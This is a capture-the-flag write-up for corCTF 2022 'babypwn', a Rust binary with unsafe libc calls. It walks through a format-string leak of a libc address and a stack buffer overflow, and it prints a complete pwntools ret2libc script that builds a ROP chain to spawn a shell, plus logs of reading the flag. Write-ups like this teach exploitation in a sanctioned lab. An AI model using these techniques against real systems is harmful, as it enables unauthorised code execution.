corCTF 2022: babypwn
Just another one of those typical intro babypwn challs... wait, why is this in Rust?
TL;DR
Leak LIBC address via
printf()
and execute ROP chain by exploiting Stack Buffer Overflow to perform a ret2libc attack with ASLR enabled.
Basic File Checks
The binary first prompts the user for a name, followed by a greeting message that appends our name. Afterwards, it asks for our favorite 🐸 emote, and then prints some wonderful ASCII art.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./babypwn
Hello, world!
What is your name?
test
Hi, test
What's your favorite :msfrog: emote?
frog
....... ...----.
.-+++++++&&&+++--.--++++&&&&&&++.
+++++++++++++&&&&&&&&&&&&&&++-+++&+
+---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
-+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
-+--+&+ .&&+&&&&&&&&&+--+&+... ..
-++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
.+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
-++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
-+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
-+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
.+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
.+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
.+&&&@@@@@@@@@@@@@@@@@@@@@&+.
.-&&&&@@@@@@@@@@@@@@@&&-
.-+&&&&&&&&&&&&&+-.
..--++++--.
In terms of binary protection, nothing seems out of the ordinary other than PIE being enabled, which randomizes the base address of the binary each time.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=babypwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 731 Symbols No 0 9 babypwn
Static Code Analysis
It wouldn't be the Crusaders of Rust without Rust challenges! The source code is provided for this challenge. For context, Rust provides memory safety through its type system and compile time checks. However, the unsafe
keyword is used here to tell the compiler to skip these safety checks for the entire chunk of code.
Even though the code is written in Rust, the unsafe
block allows foreign LIBC functions to be loaded, essentially wrapping the entire Rust code in C++. These LIBC functions are usually the culprits for memory corruption vulnerabilities.
use libc;
use libc_stdhandle;
fn main() {
unsafe {
libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0);
libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char);
libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char);
let text = [0 as libc::c_char; 64].as_mut_ptr();
libc::fgets(text, 64, libc_stdhandle::stdin());
libc::printf("Hi, \0".as_ptr() as *const libc::c_char);
libc::printf(text);
libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char);
libc::fgets(text, 128, libc_stdhandle::stdin());
libc::printf(format!("{}\n\0", r#"
....... ...----.
.-+++++++&&&+++--.--++++&&&&&&++.
+++++++++++++&&&&&&&&&&&&&&++-+++&+
+---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
-+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
-+--+&+ .&&+&&&&&&&&&+--+&+... ..
-++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
.+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
-++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
-+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
-+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
.+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
.+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
.+&&&@@@@@@@@@@@@@@@@@@@@@&+.
.-&&&&@@@@@@@@@@@@@@@&&-
.-+&&&&&&&&&&&&&+-.
..--++++--."#).as_ptr() as *const libc::c_char);
}
}
Fuzzing printf()
The first noticeable vulnerability is the improper usage of printf
that will allow us to leak addresses from the stack. We can use this as a way to leak memory address in order to defeat ASLR (Address Space Layout Randomization) and perform a ret2libc exploit.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./babypwn
Hello, world!
What is your name?
%p %p %p %p %p %p %p %p %p
Hi, 0x7ffcd3181550 (nil) (nil) 0x564619ddf51b (nil) 0x564619ddfb10 0x7fc28f597080 (nil) 0x5646190d31be
What's your favorite :msfrog: emote?
To quickly find address leak that might interest us, we can fuzz each offset individually using the format specifier %{}$p
.
#!/usr/bin/python3
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
piebase
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './babypwn'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'warning'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# 30: 0x464f8
# Let's fuzz x values
for i in range(100):
try:
p = process('./babypwn')
# Format the counter
# e.g. %2$s will attempt to print [i]th pointer/string/hex/char/int
p.sendlineafter(b'?', '%{}$p'.format(i).encode())
# Receive the response
p.recvuntil(b'Hi, ')
result = p.recvline()
print(str(i) + ': ' + str(result).strip())
p.close()
except EOFError:
passpy
On each fuzzing attempt, notice how the address on certain offset always end with the same 3 bit. Based on previous experience, addresses with the prefix 0x55
are usually memory addresses of the binary; whereas addresses with the prefix 0x7f
belongs to LIBC.

To understand what these leaked addresses are referencing exactly, we can use info proc mappings
in GDB to show us where everything for the process is mapped in memory:
Offset 1
0x7ffcd3181550
:[stack]
Offset 4
0x564619ddf51b
:[heap]
Offset 6
0x564619ddf51b
:[heap]
Offset 7
0x7fc28f597080
:/usr/lib/x86_64-linux-gnu/libc.so.6
It is now clear that the 7th offset is the base address where LIBC is loaded at runtime.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./babypwn
Hello, world!
What is your name?
%p %p %p %p %p %p %p %p %p
Hi, 0x7ffcd3181550 (nil) (nil) 0x564619ddf51b (nil) 0x564619ddfb10 0x7fc28f597080 (nil) 0x5646190d31be
What's your favorite :msfrog: emote?
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
kali 2194 0.0 0.0 2912 956 pts/0 S+ 04:10 0:00 ./babypwn
┌──(kali💀JesusCries)-[~/Desktop]
└─$ sudo gdb -q -p 2194
pwndbg: loaded 141 pwndbg commands and 48 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Attaching to process 2194
pwndbg> info proc mappings
process 2194
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x5646190b9000 0x5646190be000 0x5000 0x0 r--p /home/kali/Desktop/babypwn
0x5646190be000 0x5646190f2000 0x34000 0x5000 r-xp /home/kali/Desktop/babypwn
0x5646190f2000 0x5646190fe000 0xc000 0x39000 r--p /home/kali/Desktop/babypwn
0x5646190ff000 0x564619102000 0x3000 0x45000 r--p /home/kali/Desktop/babypwn
0x564619102000 0x564619103000 0x1000 0x48000 rw-p /home/kali/Desktop/babypwn
0x564619421000 0x564619422000 0x1000 0x368000 rw-p /home/kali/Desktop/babypwn
0x564619ddf000 0x564619e00000 0x21000 0x0 rw-p [heap]
0x7fc28f596000 0x7fc28f598000 0x2000 0x0 rw-p
0x7fc28f598000 0x7fc28f5be000 0x26000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fc28f5be000 0x7fc28f713000 0x155000 0x26000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fc28f713000 0x7fc28f766000 0x53000 0x17b000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fc28f766000 0x7fc28f76a000 0x4000 0x1ce000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fc28f76a000 0x7fc28f76c000 0x2000 0x1d2000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7fc28f76c000 0x7fc28f779000 0xd000 0x0 rw-p
0x7fc28f779000 0x7fc28f77a000 0x1000 0x0 r--p /usr/lib/x86_64-linux-gnu/libdl.so.2
0x7fc28f77a000 0x7fc28f77b000 0x1000 0x1000 r-xp /usr/lib/x86_64-linux-gnu/libdl.so.2
0x7fc28f77b000 0x7fc28f77c000 0x1000 0x2000 r--p /usr/lib/x86_64-linux-gnu/libdl.so.2
0x7fc28f77c000 0x7fc28f77d000 0x1000 0x2000 r--p /usr/lib/x86_64-linux-gnu/libdl.so.2
0x7fc28f77d000 0x7fc28f77e000 0x1000 0x3000 rw-p /usr/lib/x86_64-linux-gnu/libdl.so.2
0x7ffcd3165000 0x7ffcd3186000 0x21000 0x0 rw-p [stack]
0x7ffcd31bd000 0x7ffcd31c1000 0x4000 0x0 r--p [vvar]
0x7ffcd31c1000 0x7ffcd31c3000 0x2000 0x0 r-xp [vdso]
Calculating Offset
Now that we know the 7th offset is particularly interested to us, we can automate the whole process using pwntools and provide GDB as our argument to attach our process to the debugger without doing it manually.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py GDB
[+] Starting local process '/usr/bin/gdbserver' argv=[b'/usr/bin/gdbserver', b'--multi', b'--no-disable-randomization', b'localhost:0', b'./babypwn'] : pid 4063
[DEBUG] Received 0x3e bytes:
b'Process ./babypwn created; pid = 4066\n'
b'Listening on port 46023\n'
[DEBUG] Wrote gdb script to '/tmp/pwnmhxxd7mp.gdb'
target remote 127.0.0.1:46023
continue
[*] running in new terminal: ['/usr/bin/gdb', '-q', './babypwn', '-x', '/tmp/pwnmhxxd7mp.gdb']
[DEBUG] Created script for new terminal:
#!/usr/bin/python3
import os
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './babypwn', '-x', '/tmp/pwnmhxxd7mp.gdb'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmp2_5z0qu8']
[DEBUG] Received 0x38 bytes:
b'Remote debugging from host ::ffff:127.0.0.1, port 49210\n'
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] Received 0x21 bytes:
b'Hello, world!\n'
b'What is your name?\n'
b'Hello, world!\nWhat is your name?\n'
[DEBUG] Sent 0x5 bytes:
b'%7$p\n'
[DEBUG] Received 0x38 bytes:
b'Hi, 0x7ff5e2182080\n'
b"What's your favorite :msfrog: emote?\n"
Note that vmmap
also produces the same outcome as info proc mappings
.

Knowing this information allows us to calculate the offset of address that we leaked in relative to the base address of LIBC. We can do this by performing the following calculation:
__libc_base - leaked_address = offset
It is important to note that this offset is a constant value. Each time we execute the binary, the address at the 7th offset that we leak will be different due to ASLR, along with the base address of LIBC, however, the leaked address will always be 0xf80
bytes away from the base of LIBC. With the knowledge of this offset value, we have just defeated ASLR!

Leaking LIBC Address
Thanks to the buffer overflow that occurs during the second user-input, we can now perform a ret2libc attack using the offset value calculated before this.
Reading the source code should become clear very quickly that the program is reading 128 bytes from the user and place them into the text
buffer that is only 64 bytes long. Fuzzing the binary shows that the buffer overflow offset is 96.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ gdb babypwn
GNU gdb (Debian 13.1-3) 13.1
pwndbg> cyclic 200
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
pwndbg> run
Starting program: /home/kali/Desktop/babypwn
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello, world!
What is your name?
test
Hi, test
What's your favorite :msfrog: emote?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
....... ...----.
.-+++++++&&&+++--.--++++&&&&&&++.
+++++++++++++&&&&&&&&&&&&&&++-+++&+
+---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
-+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
-+--+&+ .&&+&&&&&&&&&+--+&+... ..
-++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
.+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
-++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
-+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
-+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
.+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
.+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
.+&&&@@@@@@@@@@@@@@@@@@@@@&+.
.-&&&&@@@@@@@@@@@@@@@&&-
.-+&&&&&&&&&&&&&+-.
..--++++--.
Program received signal SIGSEGV, Segmentation fault.
0x000055555555ab5b in babypwn::main::h8f55ddfb4d984bd7 ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────
RAX 0x0
*RBX 0x6161616161616169 ('iaaaaaaa')
*RCX 0x65
*RDX 0xfffffffffffff000
*RDI 0x20000
RSI 0x0
R8 0x0
R9 0x0
*R10 0x1000
*R11 0x202
*R12 0x616161616161616a ('jaaaaaaa')
*R13 0x5
*R14 0x616161616161616b ('kaaaaaaa')
*R15 0x616161616161616c ('laaaaaaa')
*RBP 0x5555558bdb10 ◂— 0x6e69616d /* 'main' */
*RSP 0x7fffffffdc58 ◂— 'maaaaaaanaaaaaaaoaaaaaaapaaaaaa'
*RIP 0x55555555ab5b (babypwn::main::h8f55ddfb4d984bd7+299) ◂— ret
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────
► 0x55555555ab5b <babypwn::main::h8f55ddfb4d984bd7+299> ret <0x616161616161616d>
─────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdc58 ◂— 'maaaaaaanaaaaaaaoaaaaaaapaaaaaa'
01:0008│ 0x7fffffffdc60 ◂— 'naaaaaaaoaaaaaaapaaaaaa'
02:0010│ 0x7fffffffdc68 ◂— 'oaaaaaaapaaaaaa'
03:0018│ 0x7fffffffdc70 ◂— 0x61616161616170 /* 'paaaaaa' */
04:0020│ 0x7fffffffdc78 —▸ 0x55555556d140 (std::rt::lang_start_internal::h52e73755f77c7dd9+1056) ◂— movsxd rbx, eax
05:0028│ 0x7fffffffdc80 ◂— 0x0
06:0030│ 0x7fffffffdc88 ◂— 0x0
07:0038│ 0x7fffffffdc90 —▸ 0x7fffff7ff000 ◂— 0x7fffff7ff000
───────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────
► 0 0x55555555ab5b babypwn::main::h8f55ddfb4d984bd7+299
1 0x616161616161616d
2 0x616161616161616e
3 0x616161616161616f
4 0x61616161616170
5 0x55555556d140 std::rt::lang_start_internal::h52e73755f77c7dd9+1056
6 0x55555556d140 std::rt::lang_start_internal::h52e73755f77c7dd9+1056
7 0x55555556d140 std::rt::lang_start_internal::h52e73755f77c7dd9+1056
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l maaaaaaa
Finding cyclic pattern of 8 bytes: b'maaaaaaa' (hex: 0x6d61616161616161)
Found at offset 96
Using the same formula from previous section, we can now calculate the LIBC base address:
__libc_base = leaked_address + offset
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base = leak + 0xf80
libc.address = libc_base
ret2libc
#!/usr/bin/python3
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
continue
'''.format(**locals())
# Binary filename
exe = './babypwn'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Pass in pattern_size, get back EIP/RIP offset
offset = 96
# Start program
io = start()
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
print(io.recvuntil(b"name?\n"))
io.sendline(b'%7$p')
data = io.recvline()
print(data)
data = data.replace(b"Hi, ", b"")
leak = int(data, 16)
print(f"leak: {hex(leak)}")
# Use GDB "info proc mappings" OR "vmmap" to get address where libc.so.6 is loaded into memory
# pwndbg> x <__libc_start_main> - <address.leak>
libc_base = leak + 0xf80
libc.address = libc_base
print(f"libc_addr @ {hex(libc.address)}")
print(io.recvuntil(b"?\n"))
rop = ROP(libc)
rop.call(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))
io.sendline(flat({96: rop.chain()}))
io.interactive()
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py
[+] Starting local process './babypwn': pid 3442
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] Received 0x21 bytes:
b'Hello, world!\n'
b'What is your name?\n'
b'Hello, world!\nWhat is your name?\n'
[DEBUG] Sent 0x5 bytes:
b'%7$p\n'
[DEBUG] Received 0x38 bytes:
b'Hi, 0x7f1f7f746080\n'
b"What's your favorite :msfrog: emote?\n"
b'Hi, 0x7f1f7f746080\n'
leak: 0x7f1f7f746080
libc_addr @ 0x7f1f7f747000
b"What's your favorite :msfrog: emote?\n"
[*] Loaded 195 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[DEBUG] Sent 0x81 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6c 61 61 61 │iaaa│jaaa│kaaa│laaa│
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 │maaa│naaa│oaaa│paaa│
00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 61 │qaaa│raaa│saaa│taaa│
00000050 75 61 61 61 76 61 61 61 77 61 61 61 78 61 61 61 │uaaa│vaaa│waaa│xaaa│
00000060 c2 e0 76 7f 1f 7f 00 00 25 e7 76 7f 1f 7f 00 00 │··v·│····│%·v·│····│
00000070 31 d0 8d 7f 1f 7f 00 00 30 33 79 7f 1f 7f 00 00 │1···│····│03y·│····│
00000080 0a │·│
00000081
[*] Switching to interactive mode
[DEBUG] Received 0x335 bytes:
b'\n'
b' ....... ...----.\n'
b' .-+++++++&&&+++--.--++++&&&&&&++.\n'
b' +++++++++++++&&&&&&&&&&&&&&++-+++&+\n'
b' +---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-\n'
b' -+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....\n'
b' -+--+&+ .&&+&&&&&&&&&+--+&+... ..\n'
b' -++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.\n'
b' .+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--\n'
b'.++++++++---------+&&&&&&&&&&&&@&&++--+++&+\n'
b'-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-\n'
b'.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-\n'
b' -++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&\n'
b' -+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&\n'
b' -+&&&@@@@@&&&+++++++++++++++++&&&@@@@+\n'
b' .+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-\n'
b' .+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+\n'
b' .+&&&@@@@@@@@@@@@@@@@@@@@@&+.\n'
b' .-&&&&@@@@@@@@@@@@@@@&&-\n'
b' .-+&&&&&&&&&&&&&+-.\n'
b' ..--++++--.\n'
....... ...----.
.-+++++++&&&+++--.--++++&&&&&&++.
+++++++++++++&&&&&&&&&&&&&&++-+++&+
+---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
-+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
-+--+&+ .&&+&&&&&&&&&+--+&+... ..
-++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
.+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
-++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
-+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
-+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
.+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
.+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
.+&&&@@@@@@@@@@@@@@@@@@@@@&+.
.-&&&&@@@@@@@@@@@@@@@&&-
.-+&&&&&&&&&&&&&+-.
..--++++--.
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x1f bytes:
b'corctf{why_w4s_th4t_1n_rust???}'
corctf{why_w4s_th4t_1n_rust???}
Flag: corctf{why_w4s_th4t_1n_rust???}
Last updated